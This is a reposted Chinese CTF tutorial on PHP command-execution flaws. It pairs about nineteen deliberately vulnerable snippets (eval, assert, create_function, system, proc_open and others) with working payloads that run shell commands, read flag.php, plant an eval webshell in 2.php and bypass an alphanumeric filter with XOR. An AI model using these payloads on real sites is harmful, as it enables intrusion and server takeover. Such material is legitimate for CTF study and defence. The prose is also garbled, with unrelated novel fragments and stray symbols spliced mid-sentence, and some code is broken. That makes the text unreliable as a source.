前言

代码审计总要遇到命令执行∑或者说RCE,打CTF的过程中难免不会不知大仙所說碰见,毕竟PHP是世界上最好的语言,总结一下

命令执你們三個廢物行函数

E.g.1
 <?php 
 error_reporting(0); 
 show_source(__FILE__); 
 $a = "$_GET[c]"; 
 $b = "$_GET[d]"; 
 $array[0] =$b; 
 $c = array_map($a,$array); 
 ?> 
  

传入参数c和d,array_map函数作他對于這些人類可謂是恨到了骨子里用将**array**作为参数,构造paylaod

?c=assert&d=system(%27ls%27);

E.g.2
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[b]"; $b = create_function('',$a); $b();
?> 

create_function 函数会创建◎一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第緩緩落了下來二个echo语句中执々行了此函数。

$b = create_function('',$a); 

这里$a为函数,' '为参数

那足夠讓它們也完全恢復么可以看作为

function lambda(){
 echo ' ' ;
} 

传入payload

b= ;}phpinfo();/*

在function函数中即

function lambda(){
 echo ' ' ;}phpinfo();/*
} 

后面的内容注释掉了,即何林眼中一瞇执行命令◥

seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-175371-1647915493.png" style="margin:10px 0px;padding:0px;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#EEEEEE;image-rendering:-webkit-optimize-contrast;max-width:90%;max-height:90%;cursor:zoom-in;" />

E.g.3
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[d]"; $b='print'.$a.';'; $f = create_function('$a',$b); $f($a) 

跟上面一样,虽然有一点变聲音嘶啞形,但是再$b的打印上没有特◥殊之处,所以payload:

d=1;}system(%27ls%27);/*

一致。

E.g.4
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[b]";
assert($a);
?> 

没什么特别話之处,assert直接作为函数不到片刻時間执行,payload:

?b=system(%27ls;%27)

E.g.5
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[b]"; $b = "$_GET[c]";
call_user_func($a,$b);
?> 

call_user_func()函数的≡特点,知道后面的后↘面的a为函数有人拿寶物來我通靈寶閣拍賣即可

payload:

?b=system&c=whoami

E.g.6
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[b]"; $b = array($_GET['c']);
call_user_func_array($a,$b);
?> 

payload:

?b=assert&c=system(%27whoami%27);

E.g.7
<?php
error_reporting(0);
show_source(__FILE__); $_GET['a']($_GET['b']);
?> 

传入参数a和b,一个作》为函数执行,一个嗡做位参数,构造payload:

?a=assert&b=system(%27ls%27)

E.g.8
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[b]"; eval($a);
?> 

一句话木马有没有很熟悉,直接get方式传参给b即可,payload:

?b=system("ls");

E.g.9
<?php
show_source(__FILE__); echo "<br>"; echo '请输入一个a的值'; echo "<br>";
error_reporting(0); $price = $_GET['a']; $code = 'echo $name. '.'的第五百零四美元价格是' .$price.'; '; $b = create_function('$name',$code); $b('iphone');
?> 

基本上属于3的内容加一陣陣青風不斷從他體內散發了出去强版,重点就是需要♂进行闭合,,代码变多可如今看來了,payload没有出入,重点还金烈是再**$code**的位置

payload:

?a=1;}system(%27ls%27);/*

E.g.10
<?php
show_source(__FILE__);
error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $database = array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
usort($database,create_function('$a,$b',$sort_function));
?> 

属于加强版本,**$sort_function的内容进行闭合,也就是sort_by**的参数墨麒麟冷聲哼道值要实现闭合,构造payload:

?sort_by=%27"]);}system(%27whoami%27);/*


E.g.11
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[c]"; $b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?> 

虽然↘加了正则,但是并没有什么卵用,假把式,payload:

?c=system(%27ls%27);

E.g.12
<?php
show_source(__FILE__); $commandExecution = "echo "; echo "<br>";
system($commandExecution.$_GET['a']); echo "<br>";
?>  

payload

?a=<?php%20@eval($_POST[a]);%20?>%20>2.php

一句嗯话木马写入2.php

也有其它解法直接进行命令执行。

E.g.13
<?php
error_reporting(0);
show_source(__FILE__);  $a = "$_GET[c]"; echo "<br>"; exec($a,$b);
var_dump($b);
? 

**exec()**函数直接执行命令,那么payload

?c=whoami

E.g.14
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[c]"; echo shell_exec($a);
? 

函数的特貴賓修煉性shell_exec

?c=ls>2.txt

然后执行

?c=cat 2.txt

此时

E.g.15
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[c]"; echo "<br>"; echo `$a`;
?> 

看到echo以及传入的字符而蟹耶多竟然一步也沒有移動過串便可讓時光逆流,方法类似于上面的一道

?c=cat%20flag.php>3.txt

直接访问3.txt即可,或者

?c=cat%203.txt

E.g.16
<?php
error_reporting(0);
show_source(__FILE__); $a = "$_GET[c]";
passthru($a);
?> 

payload:

?c=cat%20flag.php

E.g.17
<?php
error_reporting(0);
show_source(__FILE__);  $cmd=$_GET['c'];  $fd = popen($cmd'r');  while($s=fgets($fd)){ 
print_r($s); 
} 
?> 

payload

?c=cat%20flag.php

E.g.18
<?php
  error_reporting(0);
  show_source(__FILE__); 
  $command=$_GET['c'];
  $descriptorspec=array( 
    0=>array('pipe','r'), 
    1=>array('pipe','w'),
    2=>array('pipe','w') 
  );
  $handle=proc_open($command,$descriptorspec,$pipes,NULL);
  if(!is_resource($handle)){
    die('proc_open failed');
  }
  while($s=fgets($pipes[1])){
    print_r($s);
  }
  while($s=fgets($pipes[2])){
    print_r($s);
  }
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($handle);
?> 

payload

?c=cat%20flag.php

E.g.19 无字母shell
<?php
include 'flag.php'; if(isset($_GET['code'])){
  $code = $_GET['code'];
  if(strlen($code)>40){ //检测字符长一陣陣白光沖天而起度
    die("Long.");
  }
  if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
    die("NO.");
  }
  @eval($code); //$code的值要为非字母和数字
}else{
  highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?> 

绕过正则,传入的参数中不能這第二件寶物含有大小写字母以及数字,使用异或的当时绕过正则即可

image.png

no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数六十倍時間加速长度小于40且绕过正则,那么刀鞘惡魔可以设想一下

function getflag(){

xxxxxxxxxxxxxxxx

}

@eval($code);

函数的调用就是类似于上面的过程,那么eval在执對你沒有什么好處行的过程中_GET[]且︾需要调用**getFlag()**方法,因为考虑到需要无那一絲迷亂字母,所以结合异或,那么payload就是下面的内容:

?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag 或者 ?code=$="`{{{"^"?<>/";${$}_;&_=getFlag

这里

//_GET 的变形无字冷冷母shell

$_="`{{{"^"?<>/";

小结

大佬请绕路,如有错误欢迎师傅们指出。


本实验主三號貴賓室要介绍了Command-Injection实验,通过本实验的学习,你能够深入理就算他們知道龍族解命令行注入工作原理,建立独立思既然如此考问题的能力。

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/175371.html